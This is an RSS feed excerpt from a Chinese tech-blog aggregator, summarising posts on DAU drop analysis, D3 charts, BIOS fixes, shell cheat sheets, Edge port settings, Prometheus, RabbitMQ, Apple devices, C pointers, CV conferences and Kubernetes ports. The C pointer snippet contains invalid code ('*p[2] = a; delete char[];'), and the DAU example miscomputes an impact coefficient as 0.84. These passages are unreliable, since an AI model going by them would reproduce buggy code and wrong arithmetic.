      <description>目录&#xA;案例简介&#xA;第一步：确认数据真实性&#xA;第二步：明确定义，并拆解指标，进一步定位原异常部分&#xA;第三步：根据几个常见维度初步拆分数据&#xA;第四步：进一步做假设并细分深入，得出结论&#xA;案例分析&#xA;例题&#xA;GMV下降了20%怎么分析？（GMV=访客数（uv）*订单转化率(cr)*单均价）&#xA;总结&#xA;例题部分转载自公众号《阿狸与小兔》。 案例简介 一款信息流APP平时日活稳定在79w-80w之间，但是在6月13日起突然掉到了78.8w，到6月15日已经掉到78.5w，这时产品负责人着急了，让你尽快排查一下数据下跌的原因。这样的问题对大多数人来说还是比较头疼的，因为对于80w量级的产品，一两万并不是一个非常大的波动，但原因还是要排查。&#xA;![产品日活DAU下降，我该如何着手分析？](https://imgconvert.csdnimg.cn/aHR0cDovL2ltYWdlLndvc2hpcG0uY29tL3dwLWZpbGVzLzIwMTkvMDYvcFgwUDNWOHI5SFpQVGx0b00zbjIucG5n?x-oss-&#xA;process=image/format,png)&#xA;核心点：先做数据异常原因的假设，后用数据验证假设。&#xA;不建议大家第一步先自己对着数据去拆，影响日活数据的因素很多，不可能把所有维度逐一拆解对比，容易浪费时间却没有任何有价值的发现。做数据异常原因分析的核心就是结合以往经验及各种信息，找出最有可能的原因假设，通过数据的拆分进行多维度分析来验证假设，定位问题所在。过程中可能会在原假设基础上建立新的假设或者是调整原来假设，直到定位原因。&#xA;第一步：确认数据真实性 在开始着手分析前，建议先确认数据的真实性。我们经常会遇到数据服务、数据上报、数据统计上的BUG，在数据报表上就会出现异常值。所以，找数据流相关的产品和研发确认下数据的真实性吧。&#xA;第二步：明确定义，并拆解指标，进一步定位原异常部分 逻辑树模型的思维，由大到小，一步一步深入。(指出拆解方法的局限性：假设缺陷、分布缺陷、估算保守/激进）&#xA;第三步：根据几个常见维度初步拆分数据 可以利用人货场模型来思考，如下图&#xA;![](https://img-blog.csdnimg.cn/2020070817171775.png?x-oss-&#xA;process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1lZSXZlcnNvbg==,size_16,color_FFFFFF,t_70)&#xA;计算影响系数：每一项数据都要和以往正常值做对比，算出影响系数。&#xA;影响系数 =(今日量-昨日量)/(今日总量-昨日总量)&#xA;影响系数越大，说明此处就是主要的下降点&#xA;以上是几种常见的初步拆分维度，通过初步拆分，定位原因大致范围。&#xA;第四步：进一步做假设并细分深入，得出结论 针对初步定位的影响范围，进行进一步的排查。分三个维度来做假设，建议针对数据异常问题专门建一个群，拉上相应的产品、技术、运营人员一起，了解数据异常时间点附近做了什么产品、运营、技术侧调整。&#xA;定位了异常部分后，可根据分指标灵活思考出影响因素。&#xA;![产品日活DAU下降，我该如何着手分析？](https://imgconvert.csdnimg.cn/aHR0cDovL2ltYWdlLndvc2hpcG0uY29tL3dwLWZpbGVzLzIwMTkvMDYvaDJqUFVKRTB6TVNKU0RsM05aY2QuanBn?x-oss-&#xA;process=image/format,png)&#xA;综合考虑以往数据异常原因、产品运营技术侧调整、初步定位的影响范围最可能由什么原因造成，再结合自身业务经验确定几个最可能的原因假设，给这些假设排数据验证的优先级，逐一排查。&#xA;除了上述，可以细分分析的维度实在太多，逻辑上说核心点在于一个假设得到验证后，在这个假设为真的基础上，进行更细维度的数据拆分。&#xA;我们需要记住这种分析方式，当猜测是某种原因造成数据异常时，只要找到该原因所代表的细分对立面做对比，就可以证明或证伪我们的猜测，直到最后找到真正原因。&#xA;案例分析 以上就是核心数据异常的分析套路，是不是刚才拿到问题还不知道从哪开始分析，现在觉得其实有很多点可以去着手？让我们回到刚才的案例吧。根据上述套路，首先我们拆分新老用户活跃量，如下图（老用户左轴、新用户右轴）：&#xA;![产品日活DAU下降，我该如何着手分析？](https://imgconvert.csdnimg.cn/aHR0cDovL2ltYWdlLndvc2hpcG0uY29tL3dwLWZpbGVzLzIwMTkvMDYvUkRUWEtCSVd5ZmRhVm5PeUd5ZDMucG5n?x-oss-&#xA;process=image/format,png)&#xA;发现老用户日活较平稳，但是新用户自6月13日下降严重，于是计算新老用户影响系数：&#xA;老用户影响系数 =(77.89-78)/(78.8-79.5)=0.16&#xA;新用户影响系数= (0.98-1.5)/(78.8-79.5)=0.84&#xA;新用户影响系数0.84，说明DAU下降是出在新用户身上，明确范围后进一部细分，新用户由什么构成？&#xA;新用户=渠道1+渠道2+渠道3+其他渠道 ，于是我们把新用户日活按渠道进行拆分：&#xA;![产品日活DAU下降，我该如何着手分析？](https://imgconvert.csdnimg.cn/aHR0cDovL2ltYWdlLndvc2hpcG0uY29tL3dwLWZpbGVzLzIwMTkvMDYvRmlBV1NVR2hxZUVxYXlxcFRJaEEucG5n?x-oss-&#xA;process=image/format,png)&#xA;通过渠道拆分，我们发现渠道3自6月13日起新用户下降严重，于是我们把问题定位在渠道3，应该是渠道3的渠道效果发生问题。联系渠道3的负责人一起定位具体原因，渠道线索量降低？渠道转化率降低？渠道平台的问题？找出原因后，再针对原因解决问题，制定渠道优化策略。&#xA;例题 GMV下降了20%怎么分析？（ **GMV=访客数（uv）订单转化率(cr)单均价 ） 人货场角度（第一步 → (第二步) → 第三步 → 第四步）：&#xA;1、从人的角度来看。主要会考虑&#xA;① 新老客户&#xA;② 不同地区客户</description>
    </item>
    <item>
      <title>vue-d3.js绘制柱状图（含动画和交互）</title>
      <link>https://bchobby.github.io/posts/a0b3ea1af3e208ac937b23578e4317ae/</link>
      <pubDate>Fri, 25 Jun 2021 15:23:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0b3ea1af3e208ac937b23578e4317ae/</guid>
      <description>vue-d3.js绘制柱状图（含动画和交互） 1、安包 npm install sass-loader -D&#xA;npm install node-sass -D&#xA;cnpm install node-sass -D&#xA;cnpm install core-js@2&#xA;2、代码 &amp;lt;template&amp;gt; &amp;lt;div class=&#34;d3Chart&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import * as d3 from &#34;d3&#34;; export default { mounted() { // 数据——x轴的标签——城市 let labelList = [&#34;成都&#34;, &#34;武汉&#34;, &#34;上海&#34;, &#34;北京&#34;, &#34;深圳&#34;]; // 数据——对应y轴的值——城市人口（万） let dataList = [100, 105, 200, 250, 230]; // 画布的参数 let mapWidth = 300; let mapHeight = 300; let mapPadding = 30; // 定义画布—— 宽 300 高 300 外边距 10px let map = d3 .</description>
    </item>
    <item>
      <title>计算机开机键英语字母,电脑开机出现英文字母怎么办？</title>
      <link>https://bchobby.github.io/posts/ee4f59d5e4072ef290c0053874204b25/</link>
      <pubDate>Fri, 25 Jun 2021 13:10:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee4f59d5e4072ef290c0053874204b25/</guid>
      <description>原标题：电脑开机出现英文字母怎么办？&#xA;关注奕奇科技，学习更多小妙招&#xA;解决电脑开机时出现英文字母是一个非常好用的电脑技巧，但是许多小伙伴还不了解具体操作方法，一起来学习一下。&#xA;开机时常按住del键不同的电脑型号有不同的按键, 进入BISO界面(在bios界面中 方向键选择、回车键确认、ESC键返回)&#xA;进入后通过键盘的左右方向键选择进入 BOOT下 然后将第一启动项改为装载系统的硬盘名称 设置完按f10保存重启 (在boot界面下 f5或f6 调到第一位的意思、f10 保存并重新启动 )&#xA;以防找不到可以收藏哦!&#xA;1.开机不停按del键。&#xA;2.设置BIOS，选择Load Optimized Defaults。3.F10保存退出。&#xA;4.可能原因出在内存条，显卡金手指氧化，插槽接触不良，导致电脑无法开机。&#xA;5.断开电源，打开电脑机箱，把内存条拔出&#xA;。6.用橡皮擦对着金手指的部位来回擦几下。&#xA;7.换一根内存槽插回去。&#xA;8.开机不停按F8。&#xA;9.进入高级，选择最后一次正确配置，确定。&#xA;·END·&#xA;奕奇科技&#xA;助力企业搭建PC端及移动端线上营销产品返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>后端开发常用工具指令</title>
      <link>https://bchobby.github.io/posts/13abc9406c40436aea2711a907d28dac/</link>
      <pubDate>Fri, 25 Jun 2021 10:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13abc9406c40436aea2711a907d28dac/</guid>
      <description>后端开发常用工具指令（To be Continue） Ubuntu终端Virtualenv（windows环境）Virtualenv（ubuntu环境）DjangoMySQLNginxUwsgiDockerVimVim编辑器配置Git端口占用版本号 Ubuntu终端 #文件重命名 mv 旧名字 新名字 #创建文件 touch 文件名 #创建文件夹 mkdir 文件 #删除文件 rm 文件 # 复制文件 cp 文件名 路径/新文件名 # 查看文件 more/cat 文件名，more只显示第一页，cat显示全部 # 编辑文件 vi 文件名 #文件压缩和解压 压缩格式：tar -zcvf 压缩后的文件名 将要压缩的文件 解压格式：tar -xf 压缩后的文件名 解压zip：unzip 解压文件名 查看解压：zcat 压缩后的文件名 #scp传输工具 scp 要传输的文件 将本地文件推送到远程主机 #文件备份 date [option] #生成密钥对 ssh-keygen -t rsa -P &#34;&#34; -N &#34;&#34; Virtualenv（windows环境） #1、下载virtualenv pip install virtualenv #2、创建一个virtualenv工作目录 mkdir myproject_env #3、创建一个python项目 virtualenv venv #4、启动virtualenv中的venv项目 1.</description>
    </item>
    <item>
      <title>Edge浏览器访问特殊网站端口（如10080）出现ERR_UNSAFE_PORT解决办法</title>
      <link>https://bchobby.github.io/posts/b900893c15d2f2ed4812ec936724d63a/</link>
      <pubDate>Fri, 25 Jun 2021 08:05:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b900893c15d2f2ed4812ec936724d63a/</guid>
      <description>Edge浏览器在访问某些使用特殊端口的网站时，会出现无法访问的情况，错误代码为ERR_UNSAFE_PORT。&#xA;解决方法如下：&#xA;Edge浏览器快捷方式中增加启动命令行参数–explicitly-allowed-ports&#xA;如：–explicitly-allowed-ports=10080在注册表中添加如下值，并重启浏览器&#xA;路径：HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge\ExplicitlyAllowedNetworkPorts&#xA;字符串值名称: 1, 2, 3, …&#xA;值：端口号&#xA;如：HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge\ExplicitlyAllowedNetworkPorts\1 = “10080”</description>
    </item>
    <item>
      <title>如何用计算机查找日期,电脑使用时间怎么查询_怎么查询电脑开机及使用时间-win7之家...</title>
      <link>https://bchobby.github.io/posts/5ea2f74e782c190f615671dd3491846f/</link>
      <pubDate>Thu, 24 Jun 2021 22:46:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ea2f74e782c190f615671dd3491846f/</guid>
      <description>我们在购买电脑后，会检查下电脑是否是使用过是新的不，我们就可以查看下电脑的开机以及使用时间，那么我们要怎么查询电脑的开机以及使用时间呢，方法很简单的，下面小编给大家分享查询电脑开机使用时间的方法步骤。&#xA;解决方法：&#xA;1、打开事件查看器的方法有很多，在这里，使用最常用的方法，先打开控制面板，然后将类别设置为“大图标”视图。&#xA;2、调整成大图标视图后，在所有项目中，找到并选择“管理工具”这一项。&#xA;3、进入管理工具窗口后，在右侧窗口，从系统所有工具中找到“计算机管理”这一项。&#xA;4、进入计算机管理器编辑器界面后，从左侧目录选项中，先选择“系统工具”，再从其下找到并选择“事件查看器”。&#xA;5、打开事件查看器的子项，找到并选择“Windows日志”，再打开“Windows日志”，从其下找到“系统”这一项。&#xA;6、因为“Windows日志”记录很多的事件，如果查看所有日志，肯定太多了，必须先筛选一下，到“系统”这一项右边的窗口，选择“筛选当前日志...”。&#xA;7、打开筛选当前日志窗口，在ID设置框中，填上6005,6006这两个数值，6005为开机时间，6006为关闭时间，填好后，按确定。&#xA;8、等一会儿，就会在中间窗口显示所有开关机记录，是从这台电脑制造出后的记录，最上面为最近一次开机，然后每两项为一次开关机。&#xA;把滚动条拉下来，查看最先开关机记录，就知道这台电脑购买之前使用过的情况。&#xA;提示：在购买电脑之前，肯定会开关机过，因为会进行很多次的检测与系统安装等等，只要次数不是太多，一般都没问题。&#xA;以上就是查询电脑开机及使用时间的方法步骤，有想知道电脑开机时间和使用时间的话，可以按上面的方法来进行操作。</description>
    </item>
    <item>
      <title>真正解决prometheus Error on ingesting samples that are too old or are too far into the future的问题</title>
      <link>https://bchobby.github.io/posts/48fccd53b169f4dd5110675e512e0704/</link>
      <pubDate>Thu, 24 Jun 2021 19:15:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48fccd53b169f4dd5110675e512e0704/</guid>
      <description>真正解决prometheus Error on ingesting samples that are too old or are too far into the future的问题 看了很多国内的论坛，完全在误导，不去看清问题真相&#xA;一、问题引出 突然有天就数据查询失败，异常如下&#xA;level=warn ts=2020-10-09T02:29:06.700Z caller=scrape.go:1216 component=&#34;scrape manager&#34; scrape_pool=service.server target=http://192.168.1.22:9100/metrics msg=&#34;Error on ingesting samples that are too old or are too far into the future&#34; num_dropped=929 level=warn ts=2020-10-09T02:29:06.700Z caller=scrape.go:987 component=&#34;scrape manager&#34; scrape_pool=service.server target=http://192.168.1.22:9100/metrics msg=&#34;appending scrape report failed&#34; err=&#34;out of bounds&#34; 二、什么原因呢 ts=2020-10-09T02:29:06.700Z，有博客说可以看到日志的时间戳与当前时间戳提前了8个小时，其实并不是提前了8小时，看到个8就知道是时区问题，UTC时间就这样。&#xA;但是还必须得用UTC，什么原因官方说夏令时时间有误差，还是不太懂，反正就必须用UTC,但其实用了UTC也并不影响我们数据保存和读取&#xA;这里真正的原因是，可能你的系统有断电导致时间重置了，或者有往前改过系统时间，prometheus在同一时间点记录了不同的数据&#xA;三、如何解决？ 那还能怎样？删数据呗，但我认为不能完全解决问题，等完美解决我再在下面更新！&#xA;具体就是删除prometheus底下的data目录里面的数据&#xA;昨天晚上发现是运维人员打包的时候，把其他服务器上的data目录下的数据也一并复制到了另一台服务器下，于是就发生了这类问题。所以还是老办法，删除data目录，以后再复现再回来分析i</description>
    </item>
    <item>
      <title>用Rabbit MQ 实现一对一聊天简单案例分享</title>
      <link>https://bchobby.github.io/posts/67e9e45ad6e6ef7f87241df2e191d3c5/</link>
      <pubDate>Thu, 24 Jun 2021 17:51:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67e9e45ad6e6ef7f87241df2e191d3c5/</guid>
      <description>实现原理： 使用rabbitmq 的 Routing路由模式，定义两个queue队列和routing key，两个class类，分别创建两个线程实现发送消息和监听接收消息。&#xA;直接上代码：&#xA;Class A:&#xA;package com.fs.rabbit; import com.rabbitmq.client.*; import java.io.IOException; import java.util.Scanner; import java.util.concurrent.TimeoutException; public class liaotian1 { public static void main(String[] args) throws IOException, TimeoutException { //从工具类获取一个连接；工具类在文章下面，一个简单的封装； final Connection connection = Utils.getConnection(); //线程 t1 用来生产 发送消息： final Thread t1 =new Thread(new Runnable() { public void run() { Channel channel = null; try { channel = connection.createChannel(); //声明“交换机” 和模式：direct channel.exchangeDeclare(&#34;direct_exchange&#34;,&#34;direct&#34;); //声明，绑定队列和routing key channel.queueDeclare(&#34;direct_queue1&#34;,true,false,false,null); channel.queueBind(&#34;direct_queue1&#34;,&#34;direct_exchange&#34;,&#34;1&#34;); }catch (Exception e){ e.</description>
    </item>
    <item>
      <title>如何在Apple Watch上添加闹钟？</title>
      <link>https://bchobby.github.io/posts/3e73879ede3b5a3d114c303e618d3298/</link>
      <pubDate>Thu, 24 Jun 2021 17:08:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e73879ede3b5a3d114c303e618d3298/</guid>
      <description>在Apple Watch上使用“闹钟” App，可以让 Apple Watch 在设定的时间播放声音或振动。那我们如何在Apple Watch上添加闹钟呢？感兴趣的朋友快和小编一起来看看吧！&#xA;在 Apple Watch 上设定闹钟&#xA;1.在 Apple Watch 上打开“闹钟” App 。&#xA;2.轻点“添加闹钟”。&#xA;3.轻点“上午”或“下午”，然后轻点小时数或分钟数。&#xA;使用 24 小时制时无需此步骤。&#xA;4.旋转数码表冠以进行调整，然后轻点“设定”。&#xA;5.若要打开或关闭闹钟，请轻点其开关。或者轻点闹钟时间以设定重复、标签和稍后提醒选项。&#xA;【提示】若要创建一个轻点您的手腕但不发出声音的闹钟，请打开静音模式。&#xA;打开稍后提醒避免耽误时间&#xA;闹钟响后，您可以轻点“稍后提醒”让闹钟在数分钟后再次响起。如果不想允许稍后提醒，请按照以下步骤操作：&#xA;1.在 Apple Watch 上打开“闹钟” App 。&#xA;2.轻点闹钟列表中的闹钟，然后关闭“稍后提醒”。&#xA;删除闹钟&#xA;1.在 Apple Watch 上打开“闹钟” App 。&#xA;2.轻点列表中的闹钟。&#xA;3.滚动到底部，然后轻点“删除”。&#xA;设置 Apple Watch 以用作床头闹钟&#xA;1.在 Apple Watch 上打开“设置” App 。&#xA;2.前往“通用”&amp;gt;“床头钟模式”，然后打开“床头钟模式”。&#xA;打开床头钟模式的 Apple Watch 在充电时会显示充电状态、当前时间和日期以及您设定的任何闹钟时间。若要查看时间，请轻点屏幕或者稍稍挪动 Apple Watch。挪动或轻拍桌子也可能有用。&#xA;如果使用“闹钟” App 设定闹钟，则处于床头钟模式的 Apple Watch 会使用独特的提醒音轻轻地唤醒您。&#xA;闹钟响后，按下侧边按钮可将其关闭，或者按一下数码表冠以在 9 分钟后再次提醒。</description>
    </item>
    <item>
      <title>使用二级指针传出参数</title>
      <link>https://bchobby.github.io/posts/953630fa87043416e2c2fce93d376965/</link>
      <pubDate>Thu, 24 Jun 2021 15:30:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/953630fa87043416e2c2fce93d376965/</guid>
      <description>使用指针传出参数时，要注意指针所指向的内存是在函数内分配的还是在函数外分配的，以及是不是在堆上分配的。 定义一个指针，但是并没有分配指针指向对象所需的内存空间；当函数返回后，此函数栈中的内存会被释放掉，不要让指针指向此函数栈中的内存空间； 要指向堆上或此函数外的内存空间。 1. 参数传递的原则是：形参传给实参，不能反向传递； 2. 一级指针可以在函数内部修改实参指针指向的内容; 如： void f(char *p) {p[2] = a; //由实参指向的函数外部的数组的内容就被改变了。…… } 如果我们想改变实参本身呢？也就是说，我们连指针值都要改变，如果使用： void f(char *p) {&#x9;p = (char *)malloc(10 * sizeof(char))&#x9;//或C＋＋中：p = new char[10];&#x9;……} 就不行了，因为在函数内部不能通过改变形参的值来改变实参。 但是，可以通过二级指针来改变指针值。 void f(char **p) { *p = new char[10]; *p[2] = a; delete char[]; ……} 可以这样说，传入一个N级指针，就可以修改N-1级指针，原因还是C的参数传递是值传递的，直接修改形参根本改变不了实参， 但可以改变形参指针指向的内容，而N级指针指向的内容就是一个N-1级指针。 注意指针所指向的内存是在函数内分配的还是在函数外分配的，以及是不是在堆上分配的。 你定义了一个指针，但是并没有分配指针指向对象所需的内存空间；当函数返回后，此函数栈中的内存会被释放掉， 不要让指针指向此函数栈中的内存空间，要指向堆上或此函数外的内存空间。 代码范例： #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; char *f_void(void); void f_2ptr(char **ret); void f_1ptr(char *ret); int main() { char havec[] = &#34;</description>
    </item>
    <item>
      <title>ICCV、ECCV、CVPR三大国际会议</title>
      <link>https://bchobby.github.io/posts/2af58fc24219811e83c68df6a427671a/</link>
      <pubDate>Thu, 24 Jun 2021 14:19:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2af58fc24219811e83c68df6a427671a/</guid>
      <description>目录 前言&#xA;一、ICCV、ECCV、CVPR是什么？&#xA;1.ICCV&#xA;2.ECCV&#xA;3.CVPR&#xA;二、三大会链接及论文下载链接&#xA;前言 作为刚入门CV的新人，有必要记住计算机视觉方面的三大顶级会议：ICCV,CVPR,ECCV，统称为ICE。&#xA;与其它学术领域不同，计算机科学使用会议而不是期刊作为发表研究成果的主要方式。目前国外计算机界评价学术水平主要看在顶级学术会议上发表的论文。特别是在机器学习、计算机视觉和人工智能领域，顶级会议才是王道。&#xA;但我国目前评价学术水平的标准主要看在学术期刊上发表SCI论文，这种“以SCI期刊作为评价标准”的做法已有不少批评。&#xA;为什么说会议论文比期刊论文更重要呢？&#xA;因为机器学习、计算机视觉和人工智能领域发展非常迅速，新的工作层出不穷，如果把论文投到期刊上，一两年后刊出时就有点out了。因此大部分最新的工作都首先发表在顶级会议上，这些顶级会议完全能反映“热门研究方向”、“最新方法”。&#xA;很多经典工作大家可能引的是某顶级期刊上的论文，这是因为期刊论文表述得比较完整、实验充分。但实际上很多都是在顶级会议上首发。比如PLSA, Latent Dirichlet Allocation等。&#xA;如果注意这些领域大牛的pulications，不难发现他们很非常看重这些顶级会议，很多人是80%的会议+20%的期刊。即然大牛们把最新工作发在顶级会议上，有什么理由不去读顶级会议？&#xA;一、ICCV、ECCV、CVPR是什么？ 1.ICCV ICCV 的全称是 IEEE International Conference on Computer Vision，即国际计算机视觉大会，是公认的三个会议中级别最高的。它的举办地方会在世界范围内选，每两年召开一次。&#xA;2.ECCV ECCV的全称是European Conference on Computer Vision，即欧洲计算机视觉国际会议。每两年召开一次，与ICCV正好错开。&#xA;3.CVPR CVPR全称是IEEE Conference on Computer Vision and Pattern Recognition，即IEEE国际计算机视觉与模式识别会议。该会议一般在6月举行，举办地是美国，是一个一年一次的会议。&#xA;======================================================================&#xA;据悉ieee cvpr 2019即将于6月在美国长滩召开。本届大会总共录取论文1299篇，这些论文来自全球各地。其来自中国的团队表现相当不俗，光腾讯公司就有超过58篇论文被本届cvpr大会接收，相比过去有了大幅提升。那么cvpr论文什么级别呢，今天就让给大家科普一下什么是cvpr。&#xA;要想知道cvpr论文什么级别，就要先了解什么是cvpr。和要论文查重的毕业论文不同，一篇cvpr论文发表是相当难的，cvpr一年一届，其收录率仅有25%不到，并且还是与全球各地学术论文竞争。&#xA;cvpr 全称IEEE Conference on Computer Vision and Pattern Recognition，中文翻译过来就是IEEE国际计算机视觉与模式识别会议，该会议是由IEEE举办的计算机视觉和模式识别领域的顶级会议。这是一个一年一次的会议，举办地从来没有出过美国，可以说是计算机视觉领域全球最具影响力、内容最全面的顶级学术会议。&#xA;cvpr录用标准相当严格，通常会议整体的录取率不超过25%，而口头报告的论文比例更只占5%不到。其会议的组织方是一个循环的志愿群体，其成员遴选一般会在某次会议召开的三年前进行。cvpr的审稿过程中会议的审稿方与投稿方均不知道对方的信息。而且一篇论文经常需要由三位审稿者进行审读。最后再由会议的领域主席(area chair)决定是否接收。&#xA;所以在各类学术会议统计中，cvpr也被认为有着很强的影响力和很高的排名。自然，cvpr论文的级别就可想而知了，cvpr论文什么级别，可以说其级别相当于顶级SCI期刊论文级别同等甚至更高。&#xA;二、三大会链接及论文下载链接 ICCV:http://www.informatik.uni-trier.de/~ley/db/conf/iccv/index.html&#xA;ECCV： http://www.informatik.uni-trier.de/~ley/db/conf/eccv/index.html&#xA;CVPR：http://dblp.uni-trier.de/db/conf/cvpr/index.html&#xA;计算机视觉会议论文下载，其中包括ICCV、CVPR、ECCV、ACCV等。&#xA;CVPapers - Computer Vision Resource：http://www.</description>
    </item>
    <item>
      <title>如何使用损坏的电源按钮锁定iPhone 或 iPad？</title>
      <link>https://bchobby.github.io/posts/6de08c24e4a901cb3888f1bb749841d3/</link>
      <pubDate>Thu, 24 Jun 2021 14:00:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6de08c24e4a901cb3888f1bb749841d3/</guid>
      <description>如果您的 iPhone 或 iPad 的睡眠/唤醒按钮坏了——顶部按钮或侧边按钮取决于设备——您仍然可以使用名为AssistiveTouch 的辅助功能锁定屏幕（甚至重新启动）。那该如何具体操作呢？和小编一起来看看吧！&#xA;具体操作方法&#xA;AssistiveTouch 使您可以使用 iPhone 或 iPad 触摸屏上的简单菜单选项模拟身体动作、手势和按钮按下。这包括锁定屏幕和重新启动设备。要启用它，首先，打开 iPhone 或 iPad 上的设置。&#xA;在“设置”中，导航到“辅助功能”&amp;gt;“触摸”。&#xA;在“触摸”中，点击“辅助触摸”。&#xA;接下来，打开“AssistiveTouch”旁边的开关。&#xA;屏幕一侧会出现一个特殊的 AssistiveTouch 按钮（看起来像一个中间有一个白色圆圈的灰色方块）。&#xA;每当启用 AssistiveTouch 时，此 AssistiveTouch 按钮将始终保留在屏幕上，尽管它有时可能会变得透明或暂时消失以避开您的视线。您可以通过用手指拖动来重新定位它。&#xA;要在不使用电源按钮的情况下让 iPhone 或 iPad 进入睡眠状态，请轻按一次 AssistiveTouch 按钮。在出现的菜单中，点击“设备”。&#xA;在设备菜单下，点击“锁定屏幕”。&#xA;点击后，您的屏幕将变暗。您刚刚锁定了您的设备，而没有使用顶部或侧面按钮！AssistiveTouch 确实是一个非常强大的工具。&#xA;您还可以使用 AssistiveTouch 完全重启 iPhone 或 iPad。只需点击 AssistiveTouch 按钮，然后导航到设备 &amp;gt; 更多并点击“重新启动”。这相当于关闭您的设备然后再次打开它。&#xA;如何在没有电源按钮的情况下唤醒 iPhone 或 iPad&#xA;锁定屏幕后，您可以通过按下主屏幕按钮（如果您的设备有此按钮）、在某些设备上轻敲屏幕（请参阅设置 &amp;gt; 通用 &amp;gt; 辅助功能 &amp;gt; 轻按以唤醒。）或通过身体抬起来重新唤醒您的 iPhone 或 iPad。设备（如果启用了“提升到唤醒”）。您也可以在 iPhone 或 iPad 锁定时尝试使用“嘿Siri” （如果已启用） 。&#xA;如果由于某种原因您无法重新唤醒设备，充电或接收通知也会打开屏幕，让您有机会与 iPhone 或 iPad 互动和解锁。</description>
    </item>
    <item>
      <title>如何检查 AirTag 电池寿命？</title>
      <link>https://bchobby.github.io/posts/c5c745e41603f7747172a15e01e53080/</link>
      <pubDate>Thu, 24 Jun 2021 10:06:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5c745e41603f7747172a15e01e53080/</guid>
      <description>如何检查 AirTag 电池寿命呢？小编给大家带来了详细的图文教程，需要的朋友可以看一看！&#xA;具体方法如下&#xA;为了确定电池百分比，我们将使用您 iPhone 和 iPad 上的内置“查找我的”应用程序。我们假设您已经在 iPhone 上设置了 AirTags，因此您需要执行以下操作：&#xA;1.首先打开设备上的“查找”应用。&#xA;2.您将看到已启用“查找”功能的 Apple 设备列表，但不会看到您的 AirTag。从底部菜单转到“项目”部分，查看与 AirTags 和其他第三方配件相关的信息。&#xA;3.现在，只需点击要检查电池的 AirTag。&#xA;4.在这里，您会在 AIrTag 名称的正下方找到电池指示器，如下面的屏幕截图所示。&#xA;现在，您应该对 AirTag 的电池寿命有了更准确的估计。您不再需要对 AirTag 的使用寿命做出任何假设。&#xA;当然，您可能无法看到确切的百分比，但该指标仍然比 Apple 粗略估计的一年（因用户而异）有用得多。&#xA;以上就是检查 AirTag 电池寿命的方法，需要的朋友欢迎参考操作！想了解更多关于AirTag相关内容，请关注macz.com吧！</description>
    </item>
    <item>
      <title>k8s各端口意义</title>
      <link>https://bchobby.github.io/posts/98d31a7603f12a5e4508bc9892ccd31b/</link>
      <pubDate>Thu, 24 Jun 2021 09:54:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98d31a7603f12a5e4508bc9892ccd31b/</guid>
      <description> port port是k8s集群内部访问service的端口，即通过clusterIP: port可以访问到某个service&#xA;nodePort nodePort是外部访问k8s集群中service的端口，通过nodeIP: nodePort可以从外部访问到某个service。&#xA;targetPort targetPort是pod的端口，从port和nodePort来的流量经过kube-proxy流入到后端pod的targetPort上，最后进入容器。&#xA;containerPort containerPort是pod内部容器的端口，targetPort映射到containerPort。&#xA;图解&#xA;举例 </description>
    </item>
    <item>
      <title>SpringCloud微服务--使用使用restTemplate实现服务间调用传参</title>
      <link>https://bchobby.github.io/posts/c75033107d5005d3c0c5539fdbaf0c9c/</link>
      <pubDate>Tue, 22 Jun 2021 16:35:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c75033107d5005d3c0c5539fdbaf0c9c/</guid>
      <description>首先先创建工程: 不会的可以点这里.&#xA;工程目录如下：&#xA;以下的案例模拟了在需要请求多个请求的参数问题，重点的代码都在cslcp-s的controller中，其他的均为基础配置。注释写的很详细，大家可以去仔细阅读一下。&#xA;cslcp-eureka pom：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.1&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;com.zhisen&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;cslcp-eureka&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;name&amp;gt;cslcp-eureka&amp;lt;/name&amp;gt; &amp;lt;description&amp;gt;Demo project for Spring Boot&amp;lt;/description&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;spring-cloud.version&amp;gt;2020.0.3&amp;lt;/spring-cloud.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; 